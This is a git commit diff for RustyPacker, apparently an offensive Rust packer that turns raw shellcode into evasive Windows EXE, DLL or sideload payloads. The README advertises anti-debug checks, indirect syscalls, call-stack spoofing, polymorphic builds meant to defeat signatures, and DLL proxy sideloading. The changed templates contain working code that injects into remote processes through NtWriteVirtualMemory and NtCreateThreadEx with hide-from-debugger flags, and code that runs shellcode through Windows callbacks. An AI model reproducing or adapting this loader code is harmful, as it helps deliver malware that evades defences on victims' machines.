add exec_mode toggle, move dyncvoke to git.smukx.site

ntCRT, ntAPC, ntFIBER and ntEarlyCascade now take an exec_mode
param. syscall mode emits plain indirect syscalls. callstack
mode routes the calls through the spoof crate from Dyncvoke.

Every dyncvoke URL in the tree points at git.smukx.site/smukx
now (templates, sideload.rs, build_context.rs, development.md).
Same for the credit links and the clone URL in README.
This commit is contained in:
staffs@smukx.site
2026-06-20 03:45:11 +05:30
parent 370d37961f
commit 5b225e6a35
24 changed files with 212 additions and 167 deletions
+21 -80
View File
@@ -21,17 +21,18 @@ RustyPacker comes in two themes:
<br>
> Note: Rustypacker comes in beta version. If you want to help fixing bugs or to add your own technique, please refer [Contribution](#contribution) section.
> Note: Rustypacker comes in beta version. If you want to help fixing bugs or to add your own technique, you can create issues or directly contribute to the repository...
## What it does
## How Rustypacker works..
You give it raw shellcode. You pick:
In Rustypacker you can do the following things.
- An encryption method (AES-256-CBC, XOR, UUID-encoded).
- An injection technique. `SELF` or `REMOTE`.
- Zero or more anti-debug checks.
- Zero or more evasion checks (sleep, domain pinning).
- An output format. EXE, DLL, or DLL Sideload with optional Proxy mode and a `.def` for unhandled exports.
- encryption method (AES-256-CBC, XOR, UUID-encoded).
- Dual injection techniques. `SELF` or `REMOTE`.
- execution mode for the NT path (indirect syscall or call-stack spoofing via desync).
- Anti-debug checks.
- Evasion checks (sleep, domain pinning).
- Different output format. EXE, DLL, or DLL Sideload with optional Proxy mode and a `.def` for unhandled exports.
RustyPacker writes a fresh Rust project under `shared/output_<timestamp>/`, performs every placeholder substitution the chosen techniques request, and runs `cargo build --release --target x86_64-pc-windows-{msvc|gnu}` to produce the final binary alongside the generated source.
@@ -45,6 +46,7 @@ RustyPacker writes a fresh Rust project under `shared/output_<timestamp>/`, perf
| Injection (self) | sysFIBER, EnumCalendarInfoA, EnumDesktopsW, EnumWindowStationsW, EnumSystemGeoID, CDefFolderMenu_Create2, RtlUserFiberStart |
| Anti-debug | CheckRemoteDebuggerPresent, NtQueryInformationProcess (ProcessDebugPort), TEB BeingDebugged, Vectored INT3 |
| Evasion | NtDelayExecution sleep, domain pinning |
| Exec mode | Indirect syscall (default) or call-stack spoofing via desync (`spoof` crate, ntCRT/ntAPC/ntFIBER/EarlyCascade) |
| Output | EXE, DLL, DLL Sideload (Sideload or Proxy with absolute or relative path) |
Other extras:
@@ -54,63 +56,25 @@ Other extras:
- Streaming Console. Streams `cargo` output line by line.
- Cyberpunk default theme. Switch to Tactical via the `◆` button in the top-left.
---
## Polymorphism
Every build picks a fresh random seed from the OS and drives every variable surface in the payload from it. Two builds with the same shellcode and the same options still produce different payloads.
What varies each build:
- Anti debug API calls resolve at runtime via `GetModuleHandleA` and `GetProcAddress` with XOR'd name strings. `CheckRemoteDebuggerPresent`, `NtQueryInformationProcess`, `GetComputerNameExW`, `AddVectoredExceptionHandler`, and `RemoveVectoredExceptionHandler` do not appear in the payload IAT or `.rdata`.
- The EarlyCascade stub is encrypted with XOR at packer time and decoded at runtime. The plaintext Outflank bytes (`55 56 57 65 48 8B 14 25 60 00 00 00 ...`) do not appear in the payload binary. The placeholder slot is filled with random bytes before encryption so the ciphertext carries no signature at a fixed offset either.
- Function names like `boxboxbox`, `enhance`, `pause`, and every `evasion_anti_debug_*` are renamed each build. The pause cadence between injection steps is jittered around the base values. The shellcode XOR key and the obfuscated API name keys are random per build.
---
## Build and Run
Prerequisites:
- Rust toolchain. `rustup` is enough. RustyPacker runs via `cargo run`.
- Windows host with MSVC, or any host with the MinGW-w64 toolchain plus `rustup target add x86_64-pc-windows-gnu`.
```pwsh
git clone https://github.com/Whitecat18/RustyPacker.git
git clone https://git.smukx.site/smukx/RustyPacker.git
cd RustPacker
cargo run --release
```
---
## Using the GUI
## Outputs
The window has three tabs.
### Configure
- Shellcode. Pick the `.bin` or `.raw` file.
- Output. `EXE`, `DLL`, or `SIDELOAD`. Set the save path.
- DLL Sideload (when SIDELOAD is the format). Target DLL, hijack export, and mode (`SIDELOAD` for pure replacement, `PROXY` to forward unhandled exports to the original via a generated `.def`).
- Encryption. Pick a method. Configure any parameters it exposes.
- Injection. Toggle `SELF` or `REMOTE`, then pick a technique. The template dropdown filters to the matching mode. Per-technique params (e.g. target process name for remote) appear below.
- Anti-debug. Empty by default. `+ ADD CHECK` opens a popup. Pick one to add it as a row. Each row has a `× Remove`.
- Evasion. Same row builder pattern. Each evasion row exposes its own parameter form (delay ms, placement, expected domain, etc.).
Validation errors (missing shellcode, missing sideload target, etc.) appear as a banner at the bottom.
### FlowCase
A live, ordered preview of what the generated payload does.
### Console
The build log. Streams `cargo build` stdout and stderr line-by-line, classified by `[*]`, `[+]`, `[!]`, `[-]` prefixes.
---
## Output
A successful build writes:
A successful build will be :
```
shared/output_<unix-timestamp>/
@@ -130,13 +94,6 @@ The full Rust project stays on disk for you to inspect, tweak, or rebuild manual
## Running the payload
### EXE
Run it directly. No special invocation needed.
```pwsh
.\payload.exe
```
### DLL
@@ -155,15 +112,15 @@ Exported entrypoints: `Run`, `DllRegisterServer`, `DllGetClassObject`, `DllUnreg
The hijacked export from the target DLL becomes the entrypoint. Drop your DLL next to the host EXE and let the host load it. The payload fires when the host calls the hijacked export. Proxy mode forwards every other export to the original DLL via a generated `.def`, so the host keeps working without crashing.
For the full sideloading workflow, picking a target, and proxy generation, see [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload).
For the full sideloading workflow, picking a target, and proxy generation, see [LazyDLLSideload](https://git.smukx.site/smukx/LazyDLLSideload).
---
## For developers
## For developers
Adding your own encryption, injection, anti-debug, or evasion technique is a three-file change (`technique.toml` plus `mod.rs` plus an optional template folder). `build.rs` discovers techniques by walking `src/techniques/`, so there is no registration boilerplate to edit.
Adding your own techniques [encryption, injection, anti-debug, or evasion] is a three file change (`technique.toml` plus `mod.rs` plus an optional template folder). `build.rs` discovers techniques by walking `src/techniques/`, so there is no registration boilerplate to edit.
Full guide lives in [development.md](./development.md). It covers architecture, manifest format, `BuildContext` API, placeholder catalogue, three worked examples, GUI integration notes, and common pitfalls.
If you want full guide, you can take an look at [development.md](./development.md). It covers architecture, manifest format, `BuildContext` API, placeholder catalogue, three worked examples, GUI integration notes, and common pitfalls.
---
@@ -194,31 +151,15 @@ build.rs # walks techniques/, emits registry.rs into OUT_DIR
```
## Contribution
RustyPacker grows with community help. The repo runs on two branches.
- `main`: stable version. Reviewed `dev` work lands here. Maintainers add extra techniques and hardening during the merge.
- `dev`: where new work lands first. All contributor PRs target this branch.
To contribute:
1. Fork the repo and clone your fork.
2. Switch to the `dev` branch on your fork. Branch off `dev`, not `main`.
3. Read [development.md](./development.md). The mental model, technique system, and three worked examples cover most of what you need.
4. Pick an open issue, or open one to discuss your idea first.
5. Code, run `cargo run --release` to smoke-test, then open a pull request targeting `dev`.
6. Wait for review. Maintainers might request changes before merging to `dev`. Your contribution rides into `main` later, with the next `dev` merge.
Recognition:
## Recognition:
Every accepted contribution puts your handle in the Credits section and the release notes. Your name stays in the contributor list.
## Credits
- [Dyncvoke](https://codeberg.org/smukx/Dyncvoke.git)
- [Rust-for-Malware-Development](https://codeberg.org/smukx/Rust-for-Malware-Development.git)
- [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload)
- [Dyncvoke](https://git.smukx.site/smukx/Dyncvoke)
- [Rust-for-Malware-Development](https://git.smukx.site/smukx/Rust-for-Malware-Development)
- [LazyDLLSideload](https://git.smukx.site/smukx/LazyDLLSideload)
## Disclaimer
+1 -1
View File
@@ -649,7 +649,7 @@ Proxy mode adds these to `{{DEPENDENCIES}}`:
```toml
lazy_static = "1.4"
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }
```
`pe_parser::parse_exports` is what populates the `.def`; it also feeds the
+1 -1
View File
@@ -79,7 +79,7 @@ pub fn apply(
.cloned()
.unwrap_or_default();
let extra = r#"lazy_static = "1.4"
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }"#;
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }"#;
let merged_deps = if existing_deps.is_empty() {
extra.to_string()
} else {
+1 -1
View File
@@ -80,4 +80,4 @@ const CALLSTACK_NT_CALL_MACRO: &str = r#"macro_rules! ntcall {
}};
}"#;
const CALLSTACK_EXTRA_DEPS: &str = r#"spoof = { git = "https://codeberg.org/smukx/Dyncvoke.git", features = ["desync"] }"#;
const CALLSTACK_EXTRA_DEPS: &str = r#"spoof = { git = "https://git.smukx.site/smukx/Dyncvoke", features = ["desync"] }"#;
@@ -9,7 +9,7 @@ impl Technique for CdefFolderMenu {
ctx.set_template("callbackExec");
let helpers = r#"
unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32 {
unsafe extern "system" fn cdef_invoke(param: *mut core::ffi::c_void) -> u32 {
unsafe {
// CoInitializeEx is process-global per-thread. Capture the HRESULT
// so we only pair with CoUninitialize when *we* did the initialization.
@@ -54,17 +54,17 @@ unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
let thread = winapi::um::processthreadsapi::CreateThread(
null_mut(),
let thread = windows_sys::Win32::System::Threading::CreateThread(
std::ptr::null(),
0,
Some(cdef_invoke),
addr,
0,
null_mut(),
std::ptr::null_mut(),
);
if !thread.is_null() {
winapi::um::synchapi::WaitForSingleObject(thread, 0xFFFFFFFF);
winapi::um::handleapi::CloseHandle(thread);
windows_sys::Win32::System::Threading::WaitForSingleObject(thread, 0xFFFFFFFF);
windows_sys::Win32::Foundation::CloseHandle(thread);
}
"#;
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
@@ -10,7 +10,7 @@ impl Technique for EnumCalendarInfo {
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winnls::EnumCalendarInfoA(
windows_sys::Win32::Globalization::EnumCalendarInfoA(
Some(std::mem::transmute(addr)),
0x0400,
u32::MAX,
@@ -10,8 +10,8 @@ impl Technique for EnumDesktops {
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winuser::EnumDesktopsW(
winapi::um::winuser::GetProcessWindowStation(),
windows_sys::Win32::System::StationsAndDesktops::EnumDesktopsW(
windows_sys::Win32::System::StationsAndDesktops::GetProcessWindowStation(),
Some(std::mem::transmute(addr)),
0,
);
@@ -10,7 +10,7 @@ impl Technique for EnumSystemGeoId {
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winnls::EnumSystemGeoID(
windows_sys::Win32::Globalization::EnumSystemGeoID(
16,
0,
Some(std::mem::transmute(addr)),
@@ -10,7 +10,7 @@ impl Technique for EnumWindowStations {
let body = r#"
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
winapi::um::winuser::EnumWindowStationsW(
windows_sys::Win32::System::StationsAndDesktops::EnumWindowStationsW(
Some(std::mem::transmute(addr)),
0,
);
@@ -16,10 +16,12 @@ type RtlUserFiberStartFn = unsafe extern "system" fn(*mut std::ffi::c_void) -> i
let body = r#"
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0F8;
let ntdll = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
let ntdll = windows_sys::Win32::System::LibraryLoader::GetModuleHandleA(b"ntdll\0".as_ptr());
if ntdll.is_null() { return; }
let rtl_ptr = winapi::um::libloaderapi::GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8);
if rtl_ptr.is_null() { return; }
let rtl_ptr = match windows_sys::Win32::System::LibraryLoader::GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr()) {
Some(p) => p,
None => return,
};
let addr = syscall_alloc_exec(&vec);
if addr.is_null() { return; }
+4 -8
View File
@@ -6,14 +6,7 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
winapi = { version = "0.3", features = [
"ntdef", "ntstatus", "impl-default",
"libloaderapi", "processthreadsapi", "memoryapi",
"winnls", "winuser", "synchapi", "winnt",
"debugapi", "errhandlingapi", "sysinfoapi",
"minwindef", "handleapi",
] }
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DEPENDENCIES}}
[dependencies.windows-sys]
@@ -26,6 +19,9 @@ features = [
"Win32_System_Threading",
"Win32_System_Com",
"Win32_System_Registry",
"Win32_System_LibraryLoader",
"Win32_System_StationsAndDesktops",
"Win32_Globalization",
"Win32_UI_Shell",
"Win32_UI_Shell_Common",
]
+1 -1
View File
@@ -5,7 +5,7 @@ use std::include_bytes;
use std::ptr::null_mut;
use std::time::Instant;
use winapi::ctypes::c_void;
use core::ffi::c_void;
use windows_sys::Win32::System::Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
+3 -3
View File
@@ -6,9 +6,9 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://git.smukx.site/smukx/Dyncvoke" }
data = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DYNCVOKE_EXTRA_DEPS}}
[dependencies.windows-sys]
+4
View File
@@ -17,6 +17,10 @@ use std::time::Instant;
{{DECRYPTION_FUNCTION}}
{{STR_DECODER}}
{{API_RESOLVER}}
type HANDLE = *mut c_void;
#[inline]
+4 -4
View File
@@ -6,10 +6,9 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
sysinfo = "0.38"
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://git.smukx.site/smukx/Dyncvoke" }
data = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DYNCVOKE_EXTRA_DEPS}}
[dependencies.windows-sys]
@@ -18,6 +17,7 @@ features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_System_Diagnostics_ToolHelp",
]
{{DEPENDENCIES}}
+34 -7
View File
@@ -1,16 +1,19 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case, non_camel_case_types)]
use sysinfo::System;
use std::include_bytes;
use std::ptr::null_mut;
use std::time::Instant;
use core::ffi::c_void;
use windows_sys::Win32::Foundation::{CloseHandle, INVALID_HANDLE_VALUE};
use windows_sys::Win32::System::Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ,
};
use std::time::Instant;
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
PROCESSENTRY32W, TH32CS_SNAPPROCESS,
};
{{IMPORTS}}
@@ -18,6 +21,10 @@ use std::time::Instant;
{{DECRYPTION_FUNCTION}}
{{STR_DECODER}}
{{API_RESOLVER}}
type HANDLE = *mut c_void;
const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;
@@ -48,13 +55,33 @@ fn nt_success(s: i32) -> bool { s >= 0 }
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
let mut dom: Vec<usize> = Vec::new();
let s = System::new_all();
let tar_lower = tar.to_lowercase();
for (_, pro) in s.processes() {
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
unsafe {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snapshot == INVALID_HANDLE_VALUE {
return dom;
}
let mut entry: PROCESSENTRY32W = core::mem::zeroed();
entry.dwSize = core::mem::size_of::<PROCESSENTRY32W>() as u32;
if Process32FirstW(snapshot, &mut entry) != 0 {
loop {
let len = entry.szExeFile.iter().position(|&c| c == 0).unwrap_or(entry.szExeFile.len());
let name = String::from_utf16_lossy(&entry.szExeFile[..len]);
if name.to_lowercase() == tar_lower {
dom.push(entry.th32ProcessID as usize);
}
if Process32NextW(snapshot, &mut entry) == 0 {
break;
}
}
}
CloseHandle(snapshot);
}
dom
}
+3 -3
View File
@@ -6,9 +6,9 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://git.smukx.site/smukx/Dyncvoke" }
data = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DYNCVOKE_EXTRA_DEPS}}
[dependencies.windows-sys]
+4
View File
@@ -24,6 +24,10 @@ use windows_sys::Win32::System::Threading::{
{{DECRYPTION_FUNCTION}}
{{STR_DECODER}}
{{API_RESOLVER}}
type HANDLE = *mut c_void;
#[inline]
+3 -3
View File
@@ -6,9 +6,9 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
dyncvoke_core = { git = "https://git.smukx.site/smukx/Dyncvoke" }
data = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DYNCVOKE_EXTRA_DEPS}}
[dependencies.windows-sys]
+4
View File
@@ -20,6 +20,10 @@ use std::time::Instant;
{{DECRYPTION_FUNCTION}}
{{STR_DECODER}}
{{API_RESOLVER}}
type HANDLE = *mut c_void;
#[inline]
+10 -4
View File
@@ -8,12 +8,18 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
sysinfo = "0.38"
ntapi = { version = "0.4", features = ["impl-default"] }
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winnt", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "sysinfoapi"] }
dyncvoke = { git = "https://git.smukx.site/smukx/Dyncvoke" }
{{DEPENDENCIES}}
[dependencies.windows-sys]
version = "0.61"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_System_Diagnostics_ToolHelp",
]
[profile.release]
strip = true # Automatically strip symbols from the binary.
opt-level = "z"
+68 -28
View File
@@ -1,27 +1,47 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use sysinfo::System;
use std::include_bytes;
use std::ptr::null_mut;
use std::time::Instant;
use core::ffi::c_void;
use dyncvoke::dyncvoke_core::syscall;
use winapi::{
um::{
winnt::{MEM_COMMIT, PAGE_READWRITE, MEM_RESERVE, PROCESS_ALL_ACCESS}
},
shared::{
ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS}
}
use windows_sys::Win32::Foundation::{CloseHandle, INVALID_HANDLE_VALUE};
use windows_sys::Win32::System::Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
PROCESSENTRY32W, TH32CS_SNAPPROCESS,
};
use winapi::ctypes::c_void;
use winapi::um::winnt::PAGE_EXECUTE_READ;
use winapi::um::winnt::THREAD_ALL_ACCESS;
use std::{ptr::null_mut};
use ntapi::ntapi_base::CLIENT_ID;
use ntapi::ntpsapi::THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER;
use winapi::shared::ntdef::NULL;
use std::time::Instant;
type HANDLE = *mut c_void;
const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;
const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
const HIDE_FROM_DEBUGGER: u32 = 0x4;
#[repr(C)]
#[derive(Default)]
struct OBJECT_ATTRIBUTES {
Length: u32,
RootDirectory: HANDLE,
ObjectName: *mut c_void,
Attributes: u32,
SecurityDescriptor: *mut c_void,
SecurityQualityOfService: *mut c_void,
}
#[repr(C)]
struct CLIENT_ID {
UniqueProcess: HANDLE,
UniqueThread: HANDLE,
}
#[inline]
fn nt_success(s: i32) -> bool { s >= 0 }
{{IMPORTS}}
@@ -35,13 +55,33 @@ use std::time::Instant;
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
let mut dom: Vec<usize> = Vec::new();
let s = System::new_all();
let tar_lower = tar.to_lowercase();
for (_, pro) in s.processes() {
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
unsafe {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snapshot == INVALID_HANDLE_VALUE {
return dom;
}
let mut entry: PROCESSENTRY32W = core::mem::zeroed();
entry.dwSize = core::mem::size_of::<PROCESSENTRY32W>() as u32;
if Process32FirstW(snapshot, &mut entry) != 0 {
loop {
let len = entry.szExeFile.iter().position(|&c| c == 0).unwrap_or(entry.szExeFile.len());
let name = String::from_utf16_lossy(&entry.szExeFile[..len]);
if name.to_lowercase() == tar_lower {
dom.push(entry.th32ProcessID as usize);
}
if Process32NextW(snapshot, &mut entry) == 0 {
break;
}
}
}
CloseHandle(snapshot);
}
dom
}
@@ -78,7 +118,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
&mut oa as *mut OBJECT_ATTRIBUTES,
&mut ci as *mut CLIENT_ID
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
if !nt_success(s) { return; }
{{FN_PAUSE}}({{JITTER_1}});
{{NT_DELAY_STEP}}
@@ -93,7 +133,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
if !nt_success(s) { return; }
{{FN_PAUSE}}({{JITTER_2}});
{{NT_DELAY_STEP}}
@@ -107,7 +147,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
buf_len,
&mut written as *mut usize
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
if !nt_success(s) { return; }
wipe(&mut buf);
{{FN_PAUSE}}({{JITTER_3}});
@@ -122,7 +162,7 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
PAGE_EXECUTE_READ,
&mut old_perms as *mut u32
).unwrap_or(-1);
if !NT_SUCCESS(s) { return; }
if !nt_success(s) { return; }
{{FN_PAUSE}}({{JITTER_4}});
{{NT_DELAY_STEP}}
@@ -132,15 +172,15 @@ fn {{FN_INJECT}}(mut buf: Vec<u8>, tar: usize) {
let _ = syscall!("NtCreateThreadEx",
&mut thread_handle as *mut *mut c_void,
THREAD_ALL_ACCESS,
NULL,
null_mut::<c_void>(),
process_handle,
base,
NULL,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
null_mut::<c_void>(),
HIDE_FROM_DEBUGGER,
0usize,
0usize,
0usize,
NULL
null_mut::<c_void>()
);
}
}
+1 -4
View File
@@ -8,20 +8,17 @@ edition = "2021"
{{DLL_FORMAT}}
[dependencies]
sysinfo = "0.38"
winapi = { version = "0.3", features = ["ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt", "sysinfoapi"] }
{{DEPENDENCIES}}
[dependencies.windows]
version = "0.62"
features = [
"Win32_UI_Input_Pointer",
"Win32_Foundation",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_Security",
"Win32_UI_Input_Pointer",
"Win32_System_SystemInformation"
]
+29 -5
View File
@@ -1,8 +1,12 @@
#![windows_subsystem = "windows"]
#![allow(non_snake_case)]
use sysinfo::System;
use windows::Win32::Foundation::{CloseHandle, INVALID_HANDLE_VALUE};
use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory;
use windows::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,
PROCESSENTRY32W, TH32CS_SNAPPROCESS,
};
use windows::Win32::System::Memory::VirtualAllocEx;
use windows::Win32::System::Memory::VirtualProtectEx;
use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE};
@@ -25,13 +29,33 @@ use std::thread;
fn {{FN_FIND_PID}}(tar: &str) -> Vec<usize> {
let mut dom: Vec<usize> = Vec::new();
let s = System::new_all();
let tar_lower = tar.to_lowercase();
for (_, pro) in s.processes() {
if pro.name().to_string_lossy().to_lowercase() == tar_lower {
dom.push(usize::try_from(pro.pid().as_u32()).unwrap());
unsafe {
let snapshot = match CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) {
Ok(h) if h != INVALID_HANDLE_VALUE => h,
_ => return dom,
};
let mut entry: PROCESSENTRY32W = core::mem::zeroed();
entry.dwSize = core::mem::size_of::<PROCESSENTRY32W>() as u32;
if Process32FirstW(snapshot, &mut entry).is_ok() {
loop {
let len = entry.szExeFile.iter().position(|&c| c == 0).unwrap_or(entry.szExeFile.len());
let name = String::from_utf16_lossy(&entry.szExeFile[..len]);
if name.to_lowercase() == tar_lower {
dom.push(entry.th32ProcessID as usize);
}
if Process32NextW(snapshot, &mut entry).is_err() {
break;
}
}
}
let _ = CloseHandle(snapshot);
}
dom
}